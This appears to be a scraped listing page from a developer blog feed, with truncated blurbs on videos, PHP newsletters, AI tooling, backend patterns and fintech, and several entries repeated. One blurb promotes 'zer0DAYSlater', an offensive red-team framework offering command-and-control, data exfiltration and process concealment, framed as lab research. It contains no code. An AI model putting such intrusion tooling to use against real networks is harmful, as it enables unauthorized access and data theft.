    Everything Wrong With Sinners In 15 Minutes Or Less CinemaSins takes a playful, Halloween-flavored jab at Sinners, one of the year’s best genre movies, in a rapid-fire “sins” breakdown. Along the way they plug their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), a fan poll, and Patreon for extra support. Stick around for writer shout-outs (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and join the community on Discord, Reddit, Instagram, TikTok—or even grab Jeremy’s book. Happy sinning! Watch on YouTube  ( 6 min )
    Understanding AI: From LLMs to MCP
    Large Language Models (LLMs) form the foundation of today’s AI. At their core, an LLM like GPT-4 processes tokens (sub-word text units) through a deep neural network. Each token is converted into a high-dimensional embedding (a numeric vector capturing semantic meaning). For example, the sentence “Hello world” might be broken into tokens like "Hello", "Ġworld" and each token is mapped to a vector of hundreds or thousands of dimensions. These embeddings allow the model to understand relationships between words. GPT-4 also has a large context window (e.g. up to 8K or even 32K tokens in extended versions), meaning it can “remember” and attend to that many tokens in a single conversation. In practice, you might use GPT-4 in code like this: from openai import OpenAI client = OpenAI(api_key="YO…  ( 12 min )
    Symfony Station Communiqué - ✦ Stardate: 07 November 2025 ✦
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! We're back from France scouting locations for The Fulcrum's worldwide HQ. ;) Occitanie won out for the region (department). We’re still working on the town. Nimes, Montpellier, and Toulouse are in the fina…  ( 10 min )
    Check out this blog on all device compatible tableau dashboards
    Designing All-Device Compatible Tableau Dashboards: A Complete Guide Dipti M ・ Nov 9 #webdev #programming #beginners #tutorial  ( 6 min )
    Symfony Station Communiqué - ✦ Stardate: 17 October 2025 ✦
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! We're off to France to scout locations for The Fulcrum's worldwide HQ. ;) So, there w…  ( 10 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    CinemaSins just unleashed their “Everything Wrong With Thunderbolts (The New Avengers) In 20 Minutes Or Less” romp, gleefully counting every on-screen hiccup—even while admitting they might secretly dig the flick. Expect the usual dose of playful nitpicking, pop-culture references, and tongue-in-cheek commentary. For more sin-filled fun, dive into Cinemasins’ site and YouTube channels, cast your vote in their poll, or support the crew on Patreon. Don’t miss the behind-the-scenes banter from writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel, and join the conversation on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage Review Mr Sunday Movies dives into 2010’s Predators, applauding its return to the franchise’s roots with a rag-tag squad, a muddy jungle battleground and fresh twists that finally elevate it above past sequels—then laments that we never got a proper follow-up to this fan-favorite. Alongside the review, the video plugs the Caravan of Garbage series and points you to bonus podcasts, extended audio cuts, merch, Patreon perks and socials (big Sandwich, Twitter, YouTube) for all things Mr Sunday Movies. Watch on YouTube  ( 6 min )
    The Day Mentoring Felt Like Parenting: Lessons from The Explosive Child
    I didn’t plan to spend my weekend herding two middle schoolers through a game jam, but fate had other ideas. “Just mentor them a bit,” they said. “It’ll be fun!” they said. I’d been asked, last-minute, to mentor two middle schoolers eighth and ninth graders during a weekend “Build-a-thon.” I’m a senior Android engineer and occasional game development mentor, so I expected to spend 48 caffeine-fueled hours teaching arrays, tilesets, and maybe some basic game logic. Instead, I found myself mediating creative explosions, emotional whiplash, and a tug-of-war between two brilliant but combustible imaginations. Their project, which they proudly titled Eco-nomy, was a digital board game about saving or exploiting the planet. One team played as Forest, planting trees and cleaning pollution. The ot…  ( 11 min )
    Robust Layerwise Scaling Rules by Proper Weight Decay Tuning
    New Trick Lets AI Models Grow Without Extra Tuning Ever wondered why building a bigger AI model feels like starting from scratch each time? Researchers have uncovered a simple rule that keeps the “learning speed” and “regularization” steady, no matter how wide the model gets. weight decay in the popular AdamW optimizer, the team found that the adjustment follows a predictable square‑root pattern as the model widens. This breakthrough removes a major bottleneck, letting AI researchers focus on ideas rather than endless trial‑and‑error. Imagine a world where every new AI breakthrough can be built on the last, with just a tiny tweak. Read article comprehensive review in Paperium.net: Robust Layerwise Scaling Rules by Proper Weight Decay Tuning 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 22 min )
    Claude vs ChatGPT vs Gemini: Why Anthropic’s AI Outcodes the Rest?
    Anthropic’s Claude consistently outshines OpenAI’s ChatGPT and Google’s Gemini for coding work thanks to its stronger context management, holistic understanding of codebases, and more natural collaborative style. Modern devs and AI power users gravitate toward Claude when tackling bigger projects, challenging bug fixes, or anything demanding clear, consistent logic and minimal hand-holding. Claude’s standout strength is code comprehension at scale. Unlike ChatGPT or Gemini—both of which excel at novel code snippets, quick builds, or narrow tasks—Claude reliably digests sprawling, multi-file projects, supporting actual engineering workflows. Claude keeps larger context windows straight so it tracks variables, intent, and requirements across sessions, which means less repetition and clarific…  ( 7 min )
    How to Automate GitHub Workflows with Gemini CLI and the MCP Toolkit for Docker
    In the world of DevOps, speed and efficiency are paramount. Yet, many teams are still bogged down by fragmented toolchains, manual processes, and the constant context-switching between IDEs, terminals, browsers, and project management tools. While automation is the goal, setting up complex CI/CD pipelines and maintaining brittle test scripts can sometimes feel like more work than the manual tasks they replace. What if you could command your entire workflow—from browser testing and performance analysis to creating documented GitHub issues—using natural language, directly from your terminal? This isn't a far-off fantasy. By combining the conversational power of Google's Gemini CLI with the containerized power of the Docker MCP Toolkit, you can create a seamless, intelligent automation engine…  ( 11 min )
    Cohere in .NET in 10 Minutes: Microsoft.Extensions.AI + the Cohere.Extensions.AI NuGet Package
    TL;DR: connect Cohere to .NET in 10 minutes. I’ll show two approaches: direct call to the Chat API V1/V2 using the unified Microsoft.Extensions.AI interface (IChatClient) - provider-agnostic code. I’m experimenting with Microsoft.Extensions.AI and want to share the results: I wrote a small Cohere adapter and published it to NuGet. Maybe someone will find it useful, and I’d love to get feedback. With Microsoft.Extensions.AI it became easier to plug LLMs into .NET projects: we now have unified abstractions (IChatClient), DI and minimal vendor lock-in. Cohere is not supported out of the box, so I made a lightweight adapter and published it to NuGet. This article shows how to run a Cohere chat in .NET in ten minutes. Cohere is an LLM provider focused on enterprise needs: data privacy, turnkey …  ( 7 min )
    Monads in Haskell
    Monads... So this time, I wanted to fix that. In this video and article, I’ll walk you through what Monads actually are — but not by dropping the term on you out of nowhere. We’ll start from the ground up: Functors, then Applicatives, and only then arrive at Monads. Step 1 — Functors: applying a function inside something A Functor is any type that can be “mapped over.” You already know this idea from other languages: The wrapper (Maybe) stays the same — you just apply a function inside it. Step 2 — Applicatives: applying a wrapped function to a wrapped value Applicatives go one step further. 2) Just 10 → gives Just 20. It’s basically saying: “I’ve got a boxed function and a boxed value. Apply one to the other.” And when something’s missing (Nothing), the whole thing fails gracefully. Step 3 — Monads: chaining things that return wrapped results Now comes the big one — Monads. For example: safeDivide :: Float -> Float -> Maybe Float Using the “bind” operator (>>=), we can write: Just 100 >>= (\x -> safeDivide x 2) >>= (\y -> safeDivide y 5) If any step returns Nothing, the whole chain stops. And if you prefer cleaner syntax, do notation does the same thing with less noise. Wrapping up Functor → apply a function inside a context Applicative → apply a wrapped function to a wrapped value Monad → chain functions that return wrapped values That’s it — the scary word hides a very simple pattern. You’ll see it everywhere in Haskell: Maybe, IO, Either, List — all of them are Monads. Once you understand one, you’ve got them all. If you want to see this concept click into place, check out the full video — I walk through everything live in GHCi with examples and visuals.  ( 7 min )
    🎃 Halloween Night: A 3D WebGL Spooktacular Landing Page
    Perfect Landing Page: Halloween Night 🎃 What I Built -Dark mode design to capture the Halloween mood. The goal was to make the landing page both visually appealing and interactive, giving users a magical Halloween experience. Demo https://codepen.io/Minal-Prasad/pen/emJqKWX Journey Using Three.js to create interactive 3D elements directly in the browser. I’m particularly proud of how the 3D pumpkin scene integrates seamlessly with the content and navigation, making the landing page immersive without overwhelming the user. Next, I hope to enhance it further with: Glowing pumpkin eyes that flicker dynamically. Team: Solo project by Minal Prasad  ( 6 min )
    Handling Smart Contract Errors in Equillar. From Rust to PHP
    Introduction When building decentralized applications that interact with smart contracts, one of the most critical aspects is proper error handling. In Equillar, we've implemented an error handling strategy that bridges the gap between our Rust smart contracts and the PHP backend application. In this article, I'll explain how we manage contract errors end-to-end, from definition in Rust to user-friendly messages in our PHP application. Soroban smart contracts, written in Rust, need to communicate errors back to the calling application. These errors must be: Well-defined and predictable Easy to handle in the backend Translatable to user-friendly messages Let's analyze how we achieve this in Equillar. First, we define all possible errors in our Rust smart contract using an enum with the #[…  ( 9 min )
    Detecting Logo Similarity: Combining AI Embeddings with Fourier Descriptors
    Introduction This article started from a conversation in our V-Mobile office. We were discussing cases where new company logos suspiciously resembled famous brands. In many instances, these similarities seemed intentional—designed to confuse customers and boost sales, especially in smaller markets. As AI enthusiasts, we naturally started with popular AI models. DINO is excellent for image similarity detection. However, it can be easily confused by background changes or gradient fills. 0.56 between their embeddings.(Note: Throughout this article, "distance" means cosine distance unless specified otherwise.) This high distance means DINO thinks they're quite different, even though they're clearly similar to human eyes. This creates false negatives—we might miss real similarities. CLIP is…  ( 10 min )
    From TCP to Express: Understanding Request Lifecycles and Cancellation
    Understanding how HTTP requests map to TCP connections gives backend engineers the ability to build efficient, responsive systems. In Node.js, the req.socket property exposes the underlying TCP socket for each request, allowing servers to detect disconnects, cancel work, and free up resources when clients abort requests. This article explores how req.socket works, how to use it to implement cancellation logic, and how to propagate abort signals through your application layers. req.socket Actually Is Every Express request object (req) is an instance of Node.js’s IncomingMessage, which represents the HTTP request stream. IncomingMessage holds a socket property that refers to the underlying net.Socket — the raw TCP connection between the client and the server. // Example: inspecting a requ…  ( 8 min )
    How to Use Laravel Boost with Gemini CLI
    Laravel Boost is an MCP server equipped with over 15 tools to help your AI assistant generate high-quality Laravel code. By default, your installation doesn’t include an option to run with Gemini CLI, — but there’s an easy way to set it up. If you haven’t installed it yet, run this command to install Gemini CLI globally: npm install -g @google/gemini-cli Navigate to your Laravel project and install the package: composer require laravel/boost --dev Then install the MCP server and the coding guidelines: php artisan boost:install Once installation is complete, create a JSON file for your Gemini CLI settings at: .gemini/settings.json Paste the following content inside: { "mcpServers": { "laravel-boost": { "command": "php", "args": ["artisan", "boost:mcp"] } } } That’s it! To confirm that the MCP servers and tools are properly integrated, start the Gemini CLI and run: /mcp list You should see a list of all available tools. Laravel Boost also includes some tools for Herd. { "mcpServers": { "laravel-boost": { "command": "php", "args": ["artisan", "boost:mcp"] }, "herd": { "command": "php", "args": ["C:/Users/user/.config/herd/bin/herd-mcp.phar"], "env": { "SITE_PATH": "C:\\OurPath\\project-name" } } } } That’s it! 🎉 I hope this helps you get Laravel Boost running smoothly with Gemini CLI.  ( 6 min )
    Stop Copy-Pasting Between Excel and Code: Automate Your Data Workflows with GridScript
    If you’ve ever exported data from an app or database, you know the drill. And before you know it, you’re bouncing between Excel, VS Code, and a folder full of “final_v3_cleaned.csv” files. I built Gridscript.io to stop that cycle — and give developers and analysts one place to transform data instantly, using JavaScript or Python, right in the browser. Excel is amazing for quick inspection, filtering, and small edits. You end up writing scripts like this: import pandas as pd df = pd.read_csv("data.csv") df["price"] = df["price"].astype(float) df.to_csv("data_cleaned.csv") All of that just to import the data and this doesn't take into account the time spent to setup the project and install dependencies. GridScript eliminates the need for setups, dependencies, or switching tools. Here’s the …  ( 7 min )
    From Ruby to Swift - Building a Maze Generation Framework
    I wasn't looking for a game idea when I picked up Mazes for Programmers by Jamis Buck. I was just curious about algorithms and looking for something different from the usual data structures textbooks. And the book gave me that - it was incredibly well-written. I couldn't stop reading. But there was one problem: all the code examples were in Ruby. Ruby is not exactly my cup of tea. As an iOS developer, I am familiar with it, but I never got fluent. But I was itching for a new project, and I wanted to truly understand these algorithms, not just copy code in a language I didn't know. So I embraced the challenge and started converting the code to Swift. What began as a simple translation exercise eventually evolved into a full Swift framework, then a demo app, and ultimately became an iOS game…  ( 11 min )
    Stablecoins: from hype to real payments infrastructure
    Crypto swings 10% a day. A stablecoin is a digital token pegged 1:1 to a stable asset (USD, EUR, GBP). ✅ Fiat-backed (USDC, USDT, PYUSD) → backed by cash/T-bills in a bank. For banks, EMIs & PSPs, only fiat-backed matters: regulated, redeemable, and bank-collateralized. ⸻ Where they’re used today 💸 Payments & settlement — faster cross-border flows Visa already settles some payments in USDC. PayPal issues PYUSD via Paxos. ⸻ Regulation catches up (2024–2025): 🇪🇺 MiCA → EUR stablecoins: 1:1 reserves, redemption rights 👉 If it acts like money → regulate it like like money. ⸻ Opportunities for EMIs & banks ⸻ Why it matters now Stablecoins aren’t “future crypto hype.” They’re today’s upgrade to global money movement. 💬 Stablecoins #Fintech #Payments #Blockchain #Crypto #DigitalFinance #Innovation #EMI #BankingTransformation  ( 6 min )
    FinTrust: A Comprehensive Benchmark of Trustworthiness Evaluation in FinanceDomain
    FinTrust: Testing AI Trustworthiness in Everyday Money Matters Ever wondered if a robot could safely handle your bank account? FinTrust is a new test that puts AI models through real‑world finance scenarios to see how trustworthy they really are. all the AIs stumbled, revealing a big gap that needs fixing. FinTrust shines a light on where we stand and pushes developers to build smarter, safer financial assistants. Read article comprehensive review in Paperium.net: FinTrust: A Comprehensive Benchmark of Trustworthiness Evaluation in FinanceDomain 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 22 min )
    Trick or Treat: A Spooky CSS Diorama with a Few... Surprises
    This is a submission for Frontend Challenge - Halloween Edition, CSS Art. Hey everyone, and Happy Halloween! For this CSS art challenge, I didn't want to just make a static image. I wanted to build a living 'diorama' a small, spooky scene you could actually play with. As the title suggests, there are both "Tricks" and "Treats" hidden inside. This isn't just for looking it's for interacting. The scene is packed with... surprises. See if you can find them all: Try double-clicking the 'Trick or Treat' neon sign... if you dare. Click on the ghosts to see a special apparition. Make the Jack-o'-lantern glow! Click it as many times as you can and watch it. This is my "treat" (the technical details) behind the "tricks" (the interactive scares). This is a CSS Art challenge, so the entire visual sce…  ( 7 min )
    [Boost]
    Build a Highly Available Pi-hole Cluster with Ansible (VRRP) Danylo Mikula ・ Nov 7 #pihole #raspberrypi #ansible #tutorial  ( 5 min )
    [Boost]
    Introducing Beitha: The first AI browser automation extension Anwar Laksir ・ Nov 9  ( 5 min )
    Virtual Threads - Comparative Analysis
    If you’ve worked with Java ☕️ long enough, you probably remember when thread management felt less like coding and more like careful resource budgeting. We had to size our thread pools just "right", because Too small -> and requests would just pile up, and waiting forever. Too large -> and memory vanished quickly. as each thread reserved a big chunk for itself. Even worse, your CPU would spend all its time just switching between threads instead of doing actually work. And when I/O came into play — like, blocking on a database call or waiting for a network response — we either had to accept wasted threads or jump into async APIs, callbacks, and CompletableFuture chains. We all made it work, of course. But it was a constant headache. We spent more time fighting with the concurrency model than…  ( 9 min )
    AWS Route 53 Resolver DNS Firewall — The First Line of Egress Defense
    🧭 Securing Outbound Traffic at the DNS Layer with AWS Route 53 Resolver DNS Firewall When you think of network security in AWS, you probably picture Security Groups, NACLs, or AWS Network Firewall. But what if you could stop malicious traffic before it even knows where to go — before an IP address is ever resolved? That’s the power of AWS Route 53 Resolver DNS Firewall. Every outbound connection starts with a DNS query. Whether your EC2 instance is reaching an API, a SaaS endpoint, or — in a worst-case scenario — a command-and-control (C2) domain — the first step is always: “What’s the IP of this domain?” Attackers exploit this by using DNS for malware callbacks and data exfiltration. Traditional firewalls inspect packets after DNS resolution. DNS Firewall stops threats before they e…  ( 9 min )
    AI Isn’t Alchemy: Not Mystical, Just Messy
    Addressing traceability in language models within practical limits We’re doing alchemy with billion-dollar budgets. There is a clear issue in AI that is becoming commonly understood: it is now one of the biggest single chunks of the U.S. economy, but is built on a technology with myriad key aspects that the industry can’t explain. Commercial AI development invests billions in RLHF, constitutional frameworks, and specialized training runs. These produce measurable benchmark improvements while the industry remains unable to explain why they work, why they fail under pressure, or how to predict what outcomes will emerge before implementation. This isn’t a failing paradigm seeking replacement. It’s the absence of paradigm entirely. Thomas Kuhn identified pre-paradigmatic science as competing t…  ( 12 min )
    Spooky CSS 3D Halloween: Enter If You Dare!
    🎃 Inspiration Halloween’s eerie and magical vibe inspired this project — glowing jack-o’-lanterns, haunted houses, flying bats, and a luminous moon. My goal was to create an interactive 3D Halloween scene using only CSS, where users feel like they’ve stepped into a spooky, haunted pumpkin realm. 💻 Demo 3D Haunted Pumpkin Realm https://codepen.io/Minal-Prasad/pen/MYKNGLG https://github.com/minalprasad08/halloween-css-art-3d 🛠 Journey I’m particularly proud of how CSS alone creates a glowing, immersive Halloween atmosphere. Team: Solo project by Minal Prasad  ( 6 min )
    Prepared Statements in PgJDBC
    RDBMS systems commonly try to improve query performance by caching a statement's execution context and re-executing it with different parameter values. This approach avoids the overhead of parsing, rewriting, and planning on each execution. PostgreSQL implements this through Prepared Statements. Disclaimer: This article is written for the purpose of understanding how Prepared Statements work in Java and its official PostgreSQL JDBC driver (PgJDBC). It might not be a comprehensive guide to Prepared Statements and is not intended to be a substitute for reading the official documentation. PostgreSQL executes SQL commands through one of two protocols: The Simple Query protocol: The client sends a textual query string, which is parsed and immediately executed by the server. The Extended Query p…  ( 10 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks that Cut Your Workload in Half Jeff Su breaks down four easy yet powerful techniques—Prompt Reversal, the 5-Minute Amplifier, the Red Team self-critique, and Blueprint Scaffolding—that help you craft better AI prompts, repurpose one idea into multiple formats, force ChatGPT to outline its reasoning, and even get it to proof its own output. Each hack comes with real examples you can start using today to cut your AI workflow time in half, no matter your role or industry. On top of that, Jeff’s got a free HubSpot ebook, a detailed blog post, and links to his AI course waitlist, Workspace Academy, and Notion Command Center so you can level up your entire productivity stack. Feel free to dive in, grab the resources, and start hacking your way to smarter, faster results! Watch on YouTube  ( 6 min )
    zer0DAYSlater: A Modular Adversarial Simulation and Red-Team Research Framework
    zer0DAYSlater is a modular, offline-capable red-team research framework built to simulate advanced adversarial behavior, analyze persistence models, and test multilayer exfiltration and evasion techniques in isolated lab networks. It combines a command-and-control mesh, multi-protocol exfiltration modules, agent lifecycle management, and process-level concealment mechanisms into a unified experimental platform for understanding the operational lifecycle of modern intrusion tooling. The framework is built purely for authorized security research, red-team development, and training within controlled environments. 🔗 GitHub Repository: https://github.com/GnomeMan4201/zer0DAYSlater agent/) Implements autonomous node behavior. Each agent instance acts as an independent research implant capable…  ( 9 min )
    CinemaSins: Everything Wrong With Sinners In 15 Minutes Or Less
    Everything Wrong With Sinners In 15 Minutes Or Less CinemaSins is celebrating Halloween by “sinning” what they call one of the greatest genre movies of the year in just 15 minutes, complete with their signature quips and snarky commentary. They also invite you to dive deeper—visit their website and Linktree for more channels (TV Sins, Commercial Sins, the Podcast Network), fill out a “sinful” poll, support the small team on Patreon, and connect on Discord, Reddit, Instagram, TikTok, and more. Writers featured include Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* is Cinemasins’ rapid-fire roast of the new Avengers sequel, packing every nitpick and plot hole into a sub-20-minute video—yet they cheekily admit the movie might actually be pretty fun. Of course, they’re also milking their empire: hit up their website and linktree for all the channels (TVSins, Commercial Sins, Cinemasins Podcast), join the Discord/Reddit, fill out their sinful poll, and consider supporting the team on Patreon. Writers’ social links are sprinkled throughout, too. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage dives into how the 2010 film finally shook off the clunkiness of earlier sequels by dropping a motley crew of warriors into a muddy jungle gauntlet. It brings back that gritty, survival-of-the-fittest vibe we love, plus a few fresh twists that give it more bite than its Alien vs. Predator predecessors. Despite its cult appeal and a fanbase clamoring for more, “Predators” never got an official follow-up—leaving us wishing this brutal reboot had spawned a proper sequel. Watch on YouTube  ( 6 min )
    Unlocking PIM Potential: A Software-First Approach to Power Integrity by Arvind Sundararajan
    Unlocking PIM Potential: A Software-First Approach to Power Integrity Tired of performance bottlenecks holding back your cutting-edge applications? Processing-in-Memory (PIM) offers a tantalizing solution – compute directly within the memory chip itself. But there's a catch: increased operating frequencies and complex designs often lead to significant voltage droop, crippling performance and threatening chip reliability. To overcome this hurdle, imagine a system where software intelligently collaborates with the hardware to anticipate and mitigate these voltage fluctuations. The core idea is to dynamically adjust the chip's operating parameters, trading off performance for stability in critical areas, all driven by insights gleaned from the software workload. Think of it as a smart therm…  ( 7 min )
    Cointelegraph reports rise in AI trading bots as experts caution they are notfoolproof for investors
    AI Trading Bots See Surge, But Experts Warn: Not a \"Set It and Forget It\" Solution\n\nThe world of cryptocurrency and traditional finance is buzzing with the increased adoption of AI trading bots. These sophisticated algorithms are designed to analyze market data, identify trends, and execute trades automatically, often at speeds and efficiencies impossible for human traders. Cointelegraph recently highlighted a significant rise in their usage, attracting both seasoned investors and newcomers eager to capitalize on market volatility without constant manual oversight. The appeal is clear: potential for optimized returns, reduced emotional trading, and round-the-clock market participation, making them seem like the ultimate tool for modern investing.\n\nHowever, this rising trend comes wit…  ( 16 min )
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    Week 3: From 0 to 30 Developers (Building in Public) Liquidcode ・ Nov 8 #webdev #programming #startup #buildinpublic  ( 5 min )
    🧠 Circuit Breaker Patterns in Go Microservices
    In this article, we’ll explore the Circuit Breaker pattern — a crucial design pattern for building resilient microservices in Go. When designing distributed systems, it’s not a question of if something will fail — it’s when. In production systems, retries and backoff strategies help, but sometimes they’re not enough. Circuit Breaker patterns come in — providing a way to gracefully degrade your system instead of letting failures cascade. A Circuit Breaker acts like an electrical switch. It prevents resource exhaustion, retry storms, and latency chain reactions across your microservices. Closed → Everything works fine. Requests flow normally. Open → Too many failures occurred. Stop requests immediately. Half-Open → Test a few requests to check if recovery happened. Let’s simulate a productio…  ( 8 min )
    '이 언어'로 코딩테스트 준비하는 취업준비생... 심장병 확률 44%⬆
    코딩테스트를 javascript로 그동안 준비했었는데 결국에는 python으로 갈아탔습니다. 평소에도 코드를 javascript로 작성하기에 문법에 익숙해서 구현하기가 편한데, 다른 언어들은 꾸준히 사용하지 않다보니 문법을 자주 잊어버리게 돼요. 코딩테스트 언어로 javascript를 선택하여 언어 문법 자체도 잘 알게 되고 익숙한 언어로 코딩테스트도 수월하게 볼 수 있으니까 일석이조 아닐까요? 이 이론은 여러번의 실험 끝에 저를 배신했습니다. 라이브러리 없는 javascript의 실용성이 너무나도 떨어지기 때문이에요. 어떤 부분이 javascript를 비생산적으로 만들고 코딩테스트에서 여러분을 불리하게 만들 수 있는지 소개합니다. 프로그래머스 환경에서 코딩테스트를 지원하는 기업이 아닌 경우 높은 확률로 javascript를 지원하지 않습니다. 반면 C++, Java, Python의 경우에는 대기업부터 스타트업까지 전부 다 지원하게 됩니다. 서비스 기업의 채용 프로세스를 쉽게 통과할 수 있는 분들의 경우에는 좋아하는 언어로 코딩테스트를 보셔도 되지만 채용 상황이 좋지 않아서 어떤 기업이든 일단 취업을 하시길 희망시는 분들의 경우에는 저 세가지 언어 중에서 고르시는 것이 좋지 않을까 싶네요. queue를 어떻게 구현하려고 하셨나요? 대부분 아래의 아이디어를 떠올리셨을 겁니다. array.push()와 array.shift()를 사용해서 구현해야지. 하지만 이 구현 방식으로는 높은 확률로 시간복잡도 제한에 걸려서 문제의 시간 제한을 통과하지 못할 겁니다. 따라서 stack 두개를 활용하여 직접 queue를 구현해…  ( 8 min )
    Building a Lightweight Camunda Monitoring Dashboard: From Enterprise Pain to Open Source Solution
    "You can't improve what you can't measure." - Peter Drucker Last year, our production Camunda clusters started showing strange behavior. Process instances were stuck. Job executors were falling behind. Incidents were piling up. But our monitoring dashboards? They showed everything was "green." 🟢 or just "no data to show" I've been working with Camunda 7 for years, and monitoring has always been the painful part. Not because monitoring tools don't exist - quite the opposite. I've tried them all: Datadog - Great for infrastructure, expensive, doesn't understand workflow engines Grafana + Prometheus - Powerful but requires extensive configuration for Camunda-specific metrics Promtail + Loki - Built custom log parsing pipelines, spent more time maintaining them than using them ELK Stack - Ove…  ( 12 min )
    User Scanner : Find Your Unique & Perfect Username Across All Popular Platforms
    User Scanner Repo: https://github.com/kaifcodec/user-scanner Scan a username across multiple social, developer, and creator platforms to see if it’s available. Perfect for finding a unique username across GitHub, Twitter, Reddit, Instagram, and more, all in one command. ✅ Check usernames across social networks, developer platforms, and creator communities. ✅ Clear Available / Taken / Error output for each platform. ✅ Fully modular: add new platform modules easily. ✅ Command-line interface ready: works directly after pip install. pip install user-scanner Scan a username across all platforms: user-scanner -u Optionally, scan a specific category or single module: user-scanner -u -c dev user-scanner -l # Lists all available modules user-scanner -u -m gith…  ( 9 min )
    🧙 LLMs as Dungeon Masters: Can AI Run a Tabletop Game Without Cheating?
    “The dragon’s eyes gleam red in the darkness. Roll for initiative.” You wait. The AI Dungeon Master pauses... then declares you rolled a 47. On a twenty-sided die. Something’s not right here. Welcome to the chaotic crossroads of artificial intelligence and tabletop imagination — where LLMs try to become Dungeon Masters, and reality checks in with a +5 modifier. Anyone who’s played Dungeons & Dragons knows the bottleneck: finding a good Dungeon Master is harder than finding a +3 sword in a kobold’s lair. Never cancels sessions. Doesn’t need prep time. Remembers (sort of) every NPC voice. Can spin infinite side quests on demand. 🧩 AI Dungeon (Latitude.io): The OG of AI storytelling. 100K+ players exploring endless worlds. 🏰 Friends & Fables: Multiplayer AI DM “Franz” handles …  ( 9 min )
    Developing Human-First Solutions
    When developing solutions, it’s easy to get distracted by shiny new tools. A sleek interface, a trending platform, a feature-rich dashboard, all tempting shortcuts to progress. But here’s the truth: tools are irrelevant without purpose, process, and people. Choosing software is not a strategy. It’s a tactic, one that only works if it’s embedded in a well-defined process. Whether you’re hiring, building workflows, or designing systems, the real question isn’t “What tool should we use?” but “What problem are we solving, and how will we sustain the solution?” A poorly defined process will fail in any tool. A well-defined process will succeed in almost any. That same process can also adapt and scale. The most successful systems aren’t built around tools. The requirements gathering phase, where…  ( 7 min )
    The Case of the Missing Proxy: When Multiple Valtio Instances Broke My App
    This debugging story is from the do-not-stop project - a full-stack Web3 app with React frontend, React Native mobile frontend, Node.js backend, and multi-blockchain smart contracts. It all started with a crash in @reown/appkit-react-native. While debugging that crash, I noticed something weird happening with valtio. The subscribe() function seemed to work fine, but proxy() wasn't behaving as expected. I decided to dig into the library code itself and added some debugging directly in node_modules/valtio/vanilla.js. I printed proxyStateMap.get(proxyObject) in both functions, and that's when things got interesting: In proxy(): Got the correct value ✓ In subscribe(): Got undefined ✗ Wait, what? They were completely different WeakMap instances from different valtio module instances! The proxy …  ( 8 min )
    How I Built a Dynamic Spotify 'Now Playing' Banner for My GitHub README using Python and Flask 🐍
    🎵 Project Showcase: Spotify-Live-Banner Tired of static stats on your GitHub profile? I recently launched Spotify-Live-Banner, a small, open-source web service that fetches your currently playing Spotify track and renders it as a clean, real-time, animated SVG image banner. It's a fun way to bring life to your profile, and I wanted to share the process of building it with Python and Flask. The project serves a single purpose: to provide a highly customized image URL that displays your live music activity. Data Source: Fetches the user's currently playing track from the Spotify API. Rendering: Uses Flask to serve a route that dynamically generates an SVG image based on the song data and user-defined themes (colors, animations, layout). Target Audience: Developers looking for a dynamic p…  ( 7 min )
    A Practical Guide to Structuring Express.js Projects for Scalability and Maintainability
    Express.js gives you freedom. It doesn’t force strict rules on where files should go or how your app should be organized. That flexibility is useful when experimenting, but as soon as your application grows beyond a few routes, a messy structure begins to slow you down. A good project structure turns your Express application into a well-arranged workspace where logic is easy to find, features are modular, and growth feels natural. This article explores how to design an Express project structure that is clean, scalable, and maintainable. A well-organized Express project helps you: As features grow, you add new files without breaking the old ones. Other developers can quickly understand and navigate the project. Routing, controllers, business logic, and database layers remain independent. Cl…  ( 8 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT hacks slash your workload in half! Instead of endless back-and-forth tinkering, the Prompt Reversal Technique has you analyze strong ChatGPT outputs and flip them into perfect prompts. With the 5-Minute Amplifier, you can instantly repurpose a single idea into blog posts, social media threads, email drafts and more—no extra sweat. For quality control, the Red Team Technique asks ChatGPT to poke holes in its own work, ensuring you catch flaws early. And with Blueprint Scaffolding, you force the model to map out its reasoning step-by-step before diving in, so you always know exactly how it arrived at an answer. Try these tricks and watch your AI workflow speed up across any role or industry. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Sinners In 15 Minutes Or Less
    CinemaSins takes on “Sinners” in a punchy 15-minute roast session—calling out every nitpick, plot hiccup, and character quirk in a movie they secretly adore. It’s a Halloween-themed roast where the snark is real but so is the love for one of the year’s best genre flicks. For more sinful fun, swing by cinemasins.com or their Linktree for all the latest videos, join the Discord and Reddit communities, fill out their cheeky poll, and consider supporting the crew on Patreon. You can also catch the writers’ snarky takes on Twitter, Instagram, and TikTok! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
